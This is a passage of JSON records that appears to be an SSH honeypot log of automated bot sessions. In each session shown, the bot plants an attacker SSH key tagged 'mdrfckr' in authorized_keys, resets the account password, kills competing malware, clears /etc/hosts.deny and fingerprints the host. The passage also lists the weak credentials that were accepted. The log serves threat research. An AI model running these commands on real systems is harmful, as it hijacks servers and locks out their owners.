-m"},{"seq":18,"at":"2026-08-27T12:21:08.248107+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:21:08.719460+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:21:09.360014+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:21:09.815112+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:21:10.387064+00:00","kind":"output","latency_ms":null,"data":"top - 12:21:10 up 7 days, 9:11, 0 user, load average: 0.26, 0.3, 0.24\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:21:10.842013+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:21:11.604524+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:21:12.066142+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:21:12.498293+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:21:12.954031+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:21:13.576960+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:21:14.032742+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:21:15.367187+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:21:15.821870+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:21:16.985711+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"asd@123..","method":"password","accepted":true,"tier":"other"}]} {"id":"a91ccc20-8ea6-4baf-bb5b-ebf14b1b5d42","name":"feral-thawing-penguin","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":47744,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":300,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:21:10.503023+00:00","ended_at":"2026-08-27T12:21:12.216098+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:20:53.273178+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:20:53.574245+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:20:57.334003+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:20:58.045815+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:20:58.345992+00:00","kind":"input","latency_ms":null,"data":"echo \"root:XOJYU4slkJdE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:20:58.644499+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:20:58.943787+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:20:59.729860+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:21:00.033440+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:21:01.293467+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:21:01.598334+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:21:02.542252+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:21:02.844042+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:21:03.369259+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:21:03.668040+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:21:04.409321+00:00","kind":"output","latency_ms":null,"data":" 12:21:04 up 7 days, 9:11, 0 user, load average: 0.13, 0.15, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:21:04.709391+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:21:04.962971+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:21:05.262788+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:21:05.676890+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:21:05.977020+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:21:06.449151+00:00","kind":"output","latency_ms":null,"data":"top - 12:21:06 up 7 days, 9:11, 0 user, load average: 0.13, 0.15, 0.1\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:21:06.750782+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:21:07.153948+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:21:07.455854+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:21:07.993186+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:21:08.292777+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:21:09.052281+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:21:09.351882+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:21:10.203857+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:21:10.503994+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:21:12.128169+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"expand","method":"password","accepted":true,"tier":"other"}]} {"id":"d68e795d-0238-423e-96e6-2564f0322124","name":"granite-graceful-gannet","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":36960,"username":"jose","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":771,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:20:26.707624+00:00","ended_at":"2026-08-27T12:20:28.475440+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2241,"events":[{"seq":1,"at":"2026-08-27T12:19:58.464705+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:19:59.237110+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:20:07.142942+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:20:07.451798+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:20:08.220143+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1\\nOFIBKNKjQkCB\\nOFIBKNKjQkCB\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:20:08.995259+00:00","kind":"input","latency_ms":null,"data":"echo \"1\\nOFIBKNKjQkCB\\nOFIBKNKjQkCB\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:20:09.764255+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:20:10.099360+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:20:10.869809+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:20:12.003060+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:20:12.776670+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:20:13.731889+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:20:14.503167+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:20:15.377875+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:20:16.149801+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:20:16.530226+00:00","kind":"output","latency_ms":null,"data":" 12:20:16 up 7 days, 9:10, 0 user, load average: 0.25, 0.32, 0.28\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:20:17.306172+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:20:18.147961+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:20:18.917174+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:20:19.286219+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:20:20.060799+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:20:20.447148+00:00","kind":"output","latency_ms":null,"data":"top - 12:20:20 up 7 days, 9:10, 0 user, load average: 0.25, 0.32, 0.28\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:20:21.215840+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:20:21.492336+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:20:22.285731+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:20:23.085320+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:20:23.858429+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:20:24.200643+00:00","kind":"output","latency_ms":null,"data":"jose"},{"seq":29,"at":"2026-08-27T12:20:24.970053+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:20:25.938210+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:20:26.708327+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:20:28.228611+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"jose","password":"1","method":"password","accepted":true,"tier":"other"}]} {"id":"5b8744b2-01e2-49be-bece-36ec39409a93","name":"brisk-blithe-bullfinch","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":40896,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:19:44.225424+00:00","ended_at":"2026-08-27T12:19:45.643083+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:19:26.887194+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:19:27.213830+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:19:30.343880+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:19:30.966240+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:19:31.289050+00:00","kind":"input","latency_ms":null,"data":"echo \"root:zPXjAp3fCQxG\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:19:31.620604+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:19:31.944188+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:19:32.379874+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:19:32.710336+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:19:33.705319+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:19:34.035499+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:19:35.254248+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:19:35.584710+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:19:36.011542+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:19:36.338281+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:19:37.085229+00:00","kind":"output","latency_ms":null,"data":" 12:19:37 up 7 days, 9:09, 0 user, load average: 0.25, 0.29, 0.27\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:19:37.410195+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:19:37.735807+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:19:38.062544+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:19:38.897968+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:19:39.224419+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:19:39.522340+00:00","kind":"output","latency_ms":null,"data":"top - 12:19:39 up 7 days, 9:09, 0 user, load average: 0.25, 0.29, 0.27\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:19:39.850698+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:19:40.335870+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:19:40.664361+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:19:41.463387+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:19:41.790061+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:19:42.165451+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:19:42.497858+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:19:43.892889+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:19:44.226230+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:19:45.544825+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"ASDzxc123","method":"password","accepted":true,"tier":"other"}]} {"id":"7e0a0c12-8ed0-4750-a081-597d1a4fbf65","name":"muted-mighty-porcupine","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":45496,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":260,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:19:35.417255+00:00","ended_at":"2026-08-27T12:19:36.334650+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2253,"events":[{"seq":1,"at":"2026-08-27T12:19:10.062666+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:19:10.322946+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:19:14.030034+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:19:15.369818+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:19:15.627995+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Test123\\ncsiRcZNTNGkk\\ncsiRcZNTNGkk\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:19:15.894777+00:00","kind":"input","latency_ms":null,"data":"echo \"Test123\\ncsiRcZNTNGkk\\ncsiRcZNTNGkk\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:19:16.146263+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:19:17.024434+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T12:19:17.648202+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T12:19:18.161097+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T12:19:18.422293+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T12:19:20.247199+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:19:20.508432+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:19:22.476692+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:19:22.742324+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:19:24.868801+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:19:25.129058+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:19:27.259895+00:00","kind":"output","latency_ms":null,"data":" 12:19:27 up 7 days, 9:09, 0 user, load average: 0.04, 0.05, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:19:27.520658+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:19:29.449709+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:19:29.710902+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:19:30.419016+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:19:30.682083+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:19:31.182782+00:00","kind":"output","latency_ms":null,"data":"top - 12:19:31 up 7 days, 9:09, 0 user, load average: 0.04, 0.05, 0.03\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:19:31.442652+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:19:32.138793+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:19:32.399531+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:19:33.046911+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 